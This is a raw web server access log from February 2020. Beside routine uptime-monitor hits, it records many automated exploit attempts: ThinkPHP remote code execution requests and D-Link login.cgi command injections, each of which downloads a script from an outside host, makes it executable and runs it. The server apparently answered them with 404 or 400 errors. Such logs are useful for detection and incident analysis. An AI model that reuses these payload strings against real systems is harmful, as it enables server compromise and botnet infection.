110.9.148.211 - - [06/Feb/2020:09:58:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:09:59:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:10:00:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:10:01:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.105.27.14 - - [06/Feb/2020:10:02:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [06/Feb/2020:10:02:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [06/Feb/2020:10:02:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [06/Feb/2020:10:02:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.105.27.14 - - [06/Feb/2020:10:02:48 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [06/Feb/2020:10:03:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:10:04:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:10:05:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.254.193 - - [06/Feb/2020:10:05:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
27.142.249.93 - - [06/Feb/2020:10:06:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
177.97.59.188 - - [06/Feb/2020:10:06:04 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
112.161.111.175 - - [06/Feb/2020:10:06:11 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
112.161.111.175 - - [06/Feb/2020:10:06:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
112.161.111.175 - - [06/Feb/2020:10:06:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [06/Feb/2020:10:06:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.161.111.175 - - [06/Feb/2020:10:06:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
112.161.111.175 - - [06/Feb/2020:10:06:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [06/Feb/2020:10:07:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.96.14.25 - - [06/Feb/2020:10:08:26 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
180.96.14.25 - - [06/Feb/2020:10:08:27 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [06/Feb/2020:10:08:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.96.14.25 - - [06/Feb/2020:10:08:27 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
180.96.14.25 - - [06/Feb/2020:10:08:28 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
180.96.14.25 - - [06/Feb/2020:10:08:28 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
180.96.14.25 - - [06/Feb/2020:10:08:29 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
180.96.14.25 - - [06/Feb/2020:10:08:30 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
180.96.14.25 - - [06/Feb/2020:10:08:31 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
180.96.14.25 - - [06/Feb/2020:10:08:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
42.114.24.39 - - [06/Feb/2020:10:09:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:10:09:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:10:10:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:10:11:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.93.14.162 - - [06/Feb/2020:10:12:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:10:12:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:10:13:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.134.241.10 - - [06/Feb/2020:10:14:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:10:14:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:10:15:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:10:16:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:10:17:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:10:18:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:10:19:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:10:20:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.39.9.137 - - [06/Feb/2020:10:21:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [06/Feb/2020:10:21:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.163.30.1 - - [06/Feb/2020:10:21:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [06/Feb/2020:10:22:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:10:23:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
208.78.189.54 - - [06/Feb/2020:10:23:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:10:24:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:10:25:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
87.17.150.84 - - [06/Feb/2020:10:26:05 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [06/Feb/2020:10:26:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.117.198.174 - - [06/Feb/2020:10:26:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [06/Feb/2020:10:27:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.151.87.144 - - [06/Feb/2020:10:28:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:10:28:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:10:29:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:10:30:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:10:31:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:10:32:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.135.90.61 - - [06/Feb/2020:10:32:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:10:33:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.18.35 - - [06/Feb/2020:10:34:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:10:34:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:10:35:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.115.231.220 - - [06/Feb/2020:10:35:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:10:36:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:10:37:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:10:38:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:10:39:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:10:40:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:10:41:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:10:42:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.121.0.69 - - [06/Feb/2020:10:42:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [06/Feb/2020:10:43:01 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [06/Feb/2020:10:43:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [06/Feb/2020:10:43:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [06/Feb/2020:10:43:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.121.0.69 - - [06/Feb/2020:10:43:43 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [06/Feb/2020:10:44:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:10:45:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:10:46:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.77.75.104 - - [06/Feb/2020:10:47:07 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [06/Feb/2020:10:47:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.19.122 - - [06/Feb/2020:10:48:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:10:48:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.46.169.49 - - [06/Feb/2020:10:48:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:10:49:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:10:50:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:10:51:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:10:52:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:10:53:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.89.110 - - [06/Feb/2020:10:54:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:10:54:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:10:55:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.229.245.208 - - [06/Feb/2020:10:55:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:10:56:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:10:57:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.194.64.96 - - [06/Feb/2020:10:58:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.76.138.40 - - [06/Feb/2020:10:58:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:10:58:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.5.93.19 - - [06/Feb/2020:10:59:25 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [06/Feb/2020:10:59:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.112.162.255 - - [06/Feb/2020:10:59:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
220.80.240.151 - - [06/Feb/2020:10:59:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:11:00:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.187.141 - - [06/Feb/2020:11:00:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:11:01:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:11:02:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:11:03:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:11:04:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.115.86 - - [06/Feb/2020:11:04:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:11:05:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:11:06:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.124.223.251 - - [06/Feb/2020:11:07:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:11:07:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.130.254 - - [06/Feb/2020:11:08:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:11:08:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.51.51.114 - - [06/Feb/2020:11:09:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:11:09:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.20.126 - - [06/Feb/2020:11:09:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:11:10:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:11:11:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
